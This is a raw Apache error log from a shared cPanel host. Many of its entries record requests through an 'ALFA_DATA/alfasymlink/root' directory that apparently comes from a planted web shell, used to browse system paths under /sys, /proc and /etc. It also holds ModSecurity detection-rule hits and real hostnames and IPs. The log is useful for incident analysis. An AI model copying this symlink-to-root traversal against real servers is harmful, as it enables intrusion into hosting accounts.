[Tue Oct 27 00:28:02.159288 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 100.29.164.178:50041] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:28:06.162614 2026] [ssl:error] [pid 3157910:tid 3157910] (5)Input/output error: [client 52.6.5.24:14787] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:28:10.159239 2026] [core:error] [pid 3157805:tid 3157805] (13)Permission denied: [client 52.200.93.170:53720] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/driver/bind
[Tue Oct 27 00:28:17.732424 2026] [security2:error] [pid 3157804:tid 3157804] [client 107.172.76.131:57917] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAoQ3_gtVyHDYer0-ACIQAAAAw"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 00:28:17.732485 2026] [security2:error] [pid 3157804:tid 3157804] [client 107.172.76.131:57917] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAoQ3_gtVyHDYer0-ACIQAAAAw"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 00:28:22.181491 2026] [ssl:error] [pid 3160385:tid 3160385] (70014)End of file found: [client 54.197.102.71:9853] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:28:26.157144 2026] [ssl:error] [pid 3160190:tid 3160190] (70014)End of file found: [client 18.208.11.93:26335] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:28:30.237009 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 50.19.221.48:58014] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:28:34.182894 2026] [ssl:error] [pid 3157074:tid 3157074] (70014)End of file found: [client 98.82.214.73:29226] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:28:38.297207 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 18.209.137.234:17197] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:28:42.522797 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 85.208.96.211:48696] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:28:50.167281 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 100.28.133.214:6829] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/uhci_hcd/0000:00:01.2/rescan
[Tue Oct 27 00:28:58.153439 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 52.202.233.37:1414] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:29:10.265048 2026] [core:error] [pid 3157911:tid 3157911] (13)Permission denied: [client 44.195.50.71:29229] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/ACPI0010:00/subsystem/drivers/pvpanic/uevent
[Tue Oct 27 00:29:18.172348 2026] [ssl:error] [pid 3160190:tid 3160190] (70014)End of file found: [client 3.229.2.217:15645] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:29:22.224409 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 3.93.211.16:53420] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:29:26.248787 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 34.227.156.153:24488] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:29:27.383868 2026] [authz_core:error] [pid 3157793:tid 3157793] [client 198.235.24.137:64702] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 00:29:30.215910 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 18.235.158.19:39340] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:29:34.168798 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 54.152.163.42:57033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:29:42.244669 2026] [ssl:error] [pid 3157404:tid 3157404] (70014)End of file found: [client 52.70.138.176:5621] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:29:46.267229 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 52.44.148.203:59881] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:29:58.160104 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 54.225.98.148:17437] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:30:02.173748 2026] [ssl:error] [pid 3158128:tid 3158128] (70014)End of file found: [client 3.211.105.134:63348] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:30:06.255820 2026] [core:error] [pid 3157404:tid 3157404] (13)Permission denied: [client 3.213.46.222:4323] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/amd_gpio/uevent
[Tue Oct 27 00:30:10.174259 2026] [ssl:error] [pid 3160938:tid 3160938] (70014)End of file found: [client 54.84.147.79:42064] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:30:18.155043 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 54.92.171.106:45585] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:30:22.156970 2026] [ssl:error] [pid 3160938:tid 3160938] (70014)End of file found: [client 184.73.68.20:15715] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:30:26.294977 2026] [ssl:error] [pid 3158128:tid 3158128] (70014)End of file found: [client 3.211.105.134:13694] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:30:30.710602 2026] [ssl:error] [pid 3157404:tid 3157404] (70014)End of file found: [client 185.191.171.13:49786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:31:02.196719 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 54.89.90.224:12548] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:31:06.215970 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 54.91.122.193:35049] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:31:14.285137 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 52.45.194.165:46737] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:31:18.148959 2026] [ssl:error] [pid 3157403:tid 3157403] (5)Input/output error: [client 50.16.248.61:50491] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:31:22.151424 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 44.215.235.20:27829] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:31:30.163693 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 23.23.180.225:5386] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:31:38.283071 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 34.225.243.131:35663] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:31:46.197702 2026] [core:error] [pid 3161100:tid 3161100] (13)Permission denied: [client 3.226.106.93:64504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/cpu0/driver/cpu1/subsystem/uevent
[Tue Oct 27 00:31:47.376377 2026] [authz_core:error] [pid 3161102:tid 3161102] [client 185.191.236.38:12532] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 00:31:50.285620 2026] [ssl:error] [pid 3160994:tid 3160994] (70014)End of file found: [client 44.210.213.220:19188] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:32:02.237378 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 3.229.164.203:10276] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:32:10.158647 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 100.29.128.75:28464] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:32:14.168676 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 18.205.127.11:4106] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:32:18.137849 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 18.209.137.234:34377] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:32:38.177790 2026] [core:error] [pid 3157394:tid 3157394] (13)Permission denied: [client 23.21.204.95:30675] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/remove
[Tue Oct 27 00:32:46.327174 2026] [ssl:error] [pid 3160385:tid 3160385] (70014)End of file found: [client 54.147.182.90:45569] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:32:50.298665 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 3.89.170.186:53628] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:32:54.160497 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 52.73.142.41:27985] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:32:58.143002 2026] [ssl:error] [pid 3160385:tid 3160385] (70014)End of file found: [client 98.84.60.17:40361] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:33:06.192761 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 23.23.137.202:6269] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:33:10.184722 2026] [core:error] [pid 3157074:tid 3157074] (13)Permission denied: [client 3.213.85.234:31086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/cirrus/0000:00:02.0/remove
[Tue Oct 27 00:33:18.276157 2026] [core:error] [pid 3152927:tid 3152927] (13)Permission denied: [client 185.191.171.11:15550] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.3/driver/unbind
[Tue Oct 27 00:33:22.168045 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 52.0.105.244:17369] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:33:34.282385 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 50.17.193.48:40900] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:33:42.372492 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 54.235.125.129:13592] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:34:02.277636 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 44.210.204.255:25335] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:34:06.156369 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 98.83.72.38:49412] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:34:06.789904 2026] [core:error] [pid 3161100:tid 3161100] (13)Permission denied: [client 85.208.96.198:64378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/poison
[Tue Oct 27 00:34:10.170486 2026] [ssl:error] [pid 3157828:tid 3157828] (5)Input/output error: [client 34.234.200.207:63315] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:34:22.166656 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 54.83.180.239:7305] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:34:26.140982 2026] [ssl:error] [pid 3160994:tid 3160994] (70014)End of file found: [client 52.2.83.227:22861] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:34:34.210161 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 54.159.18.27:35320] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:34:37.038292 2026] [security2:error] [pid 3158128:tid 3158128] [client 107.172.76.131:57984] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAp0aD3q9ELkmOKB0vR_AAAAAs"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 00:34:37.038361 2026] [security2:error] [pid 3158128:tid 3158128] [client 107.172.76.131:57984] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAp0aD3q9ELkmOKB0vR_AAAAAs"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 00:34:50.620632 2026] [core:error] [pid 3157394:tid 3157394] (13)Permission denied: [client 85.208.96.201:45182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/slabs_cpu_partial
[Tue Oct 27 00:34:54.273393 2026] [ssl:error] [pid 3161100:tid 3161100] (70014)End of file found: [client 23.21.175.228:15198] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:34:58.162804 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 54.152.163.42:59609] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/resource4
[Tue Oct 27 00:35:06.172972 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 3.209.174.110:14117] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:35:10.184133 2026] [ssl:error] [pid 3160385:tid 3160385] (70014)End of file found: [client 35.171.117.160:23307] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:35:14.127311 2026] [core:error] [pid 3160994:tid 3160994] (13)Permission denied: [client 54.152.163.42:13967] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/pcspkr/uevent
[Tue Oct 27 00:35:27.295923 2026] [security2:error] [pid 3147513:tid 3147513] [client 107.172.76.131:57987] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAqA8qawth2HP9RxtL9tQAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 00:35:27.295976 2026] [security2:error] [pid 3147513:tid 3147513] [client 107.172.76.131:57987] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAqA8qawth2HP9RxtL9tQAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 00:35:30.280334 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 52.2.191.202:53772] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:35:38.233292 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 98.84.60.17:8482] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:35:46.137064 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 34.238.45.183:17599] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:35:50.199736 2026] [core:error] [pid 3157136:tid 3157136] (13)Permission denied: [client 54.156.124.2:22663] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/subsystem/drivers/ac/bind
[Tue Oct 27 00:36:06.226044 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 54.147.80.137:18498] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:36:10.135290 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.227.180.70:26980] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:36:14.120545 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 18.235.81.246:38519] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:36:22.168875 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 3.225.9.97:38474] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:36:26.204952 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 3.224.104.67:24842] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:36:38.131548 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 54.162.69.192:25016] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:37:02.179261 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 54.89.90.224:61889] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:37:06.199653 2026] [ssl:error] [pid 3160994:tid 3160994] (70014)End of file found: [client 18.211.148.239:32582] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:37:10.203260 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 98.83.72.38:27265] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:37:26.435866 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 98.83.10.183:41533] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:37:27.618412 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 85.208.96.194:43544] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:37:38.280219 2026] [ssl:error] [pid 3160385:tid 3160385] (70014)End of file found: [client 100.29.63.24:9943] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:37:46.062524 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 185.191.171.12:31142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/sanity_checks
[Tue Oct 27 00:37:57.139571 2026] [authz_core:error] [pid 3157394:tid 3157394] [client 176.65.149.171:42020] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 00:37:58.383890 2026] [security2:error] [pid 3157820:tid 3157820] [client 45.31.128.105:41876] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/saurus/php56/clone.php"] [unique_id "auAqpnEUzec1h8JdAIG52AAAAA4"]
[Tue Oct 27 00:37:58.383925 2026] [security2:error] [pid 3157820:tid 3157820] [client 45.31.128.105:41876] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/saurus/php56/clone.php"] [unique_id "auAqpnEUzec1h8JdAIG52AAAAA4"]
[Tue Oct 27 00:38:18.329630 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 98.83.10.183:54414] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:38:22.361705 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 44.221.180.179:29071] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:38:28.304366 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 185.191.171.1:33552] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:38:30.287507 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 54.85.109.140:45874] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:38:38.418815 2026] [ssl:error] [pid 3157074:tid 3157074] (70014)End of file found: [client 44.195.145.102:15219] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:38:43.756886 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 185.191.171.14:29840] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:38:58.286039 2026] [ssl:error] [pid 3157074:tid 3157074] (70014)End of file found: [client 34.194.226.74:5935] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:39:02.333405 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 50.19.79.213:23089] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:39:06.500621 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 54.209.100.30:60474] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:39:30.703033 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 52.71.216.196:37675] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:39:40.316280 2026] [security2:error] [pid 3157136:tid 3157136] [client 43.153.48.240:37542] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auArDAWuHuOgi2nQI6WKoAAAAAU"]
[Tue Oct 27 00:39:40.317548 2026] [authz_core:error] [pid 3157136:tid 3157136] [client 43.153.48.240:37542] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 00:39:42.444753 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 107.20.224.184:5904] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:39:50.145222 2026] [core:error] [pid 3157136:tid 3157136] (13)Permission denied: [client 85.208.96.197:12500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/validate
[Tue Oct 27 00:39:50.572041 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 54.89.90.224:29232] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:40:22.367342 2026] [security2:error] [pid 3161717:tid 3161717] [client 3.212.205.90:17966] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0303:00/physical_node1/firmware_node/"] [unique_id "auArNkLtVG-easp4y84zwQAAABM"]
[Tue Oct 27 00:40:22.367392 2026] [security2:error] [pid 3161717:tid 3161717] [client 3.212.205.90:17966] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0303:00/physical_node1/firmware_node/"] [unique_id "auArNkLtVG-easp4y84zwQAAABM"]
[Tue Oct 27 00:40:23.252091 2026] [security2:error] [pid 3157910:tid 3157910] [client 16.216.88.175:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/490_mod_bwlimited.conf"] [unique_id "auArN8LCi74EX2Jthsc2QgAAAAM"]
[Tue Oct 27 00:40:23.252547 2026] [security2:error] [pid 3157910:tid 3157910] [client 16.216.88.175:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/490_mod_bwlimited.conf"] [unique_id "auArN8LCi74EX2Jthsc2QgAAAAM"]
[Tue Oct 27 00:40:23.252962 2026] [security2:error] [pid 3157910:tid 3157910] [client 16.216.88.175:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/490_mod_bwlimited.conf"] [unique_id "auArN8LCi74EX2Jthsc2QgAAAAM"]
[Tue Oct 27 00:40:38.438141 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 54.156.55.147:48613] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:40:50.545260 2026] [ssl:error] [pid 3157074:tid 3157074] (70014)End of file found: [client 98.84.70.201:14699] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:40:58.441829 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 3.94.156.104:22976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:41:03.807103 2026] [security2:error] [pid 3160994:tid 3160994] [client 54.147.80.137:49577] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/block/11:0/device/scsi_device/1:0:0:0/device/power/"] [unique_id "auArXwz9MCvWtoa7PsiKTQAAAAk"]
[Tue Oct 27 00:41:03.807146 2026] [security2:error] [pid 3160994:tid 3160994] [client 54.147.80.137:49577] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/block/11:0/device/scsi_device/1:0:0:0/device/power/"] [unique_id "auArXwz9MCvWtoa7PsiKTQAAAAk"]
[Tue Oct 27 00:41:10.480380 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 34.206.249.188:11172] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:41:16.215619 2026] [core:error] [pid 3157911:tid 3157911] (13)Permission denied: [client 85.208.96.203:44368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/slabs_cpu_partial
[Tue Oct 27 00:41:26.467957 2026] [ssl:error] [pid 3160938:tid 3160938] (70014)End of file found: [client 44.206.93.215:39435] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:41:30.529361 2026] [ssl:error] [pid 3157910:tid 3157910] (70014)End of file found: [client 23.22.59.87:6433] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:41:34.592255 2026] [ssl:error] [pid 3157074:tid 3157074] (70014)End of file found: [client 18.205.91.101:8125] AH02013: coalesce failed to read from data bucket
